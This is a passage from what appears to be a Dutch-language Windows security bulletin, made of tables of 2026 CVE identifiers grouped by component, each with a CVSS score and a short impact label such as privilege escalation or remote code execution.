\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows 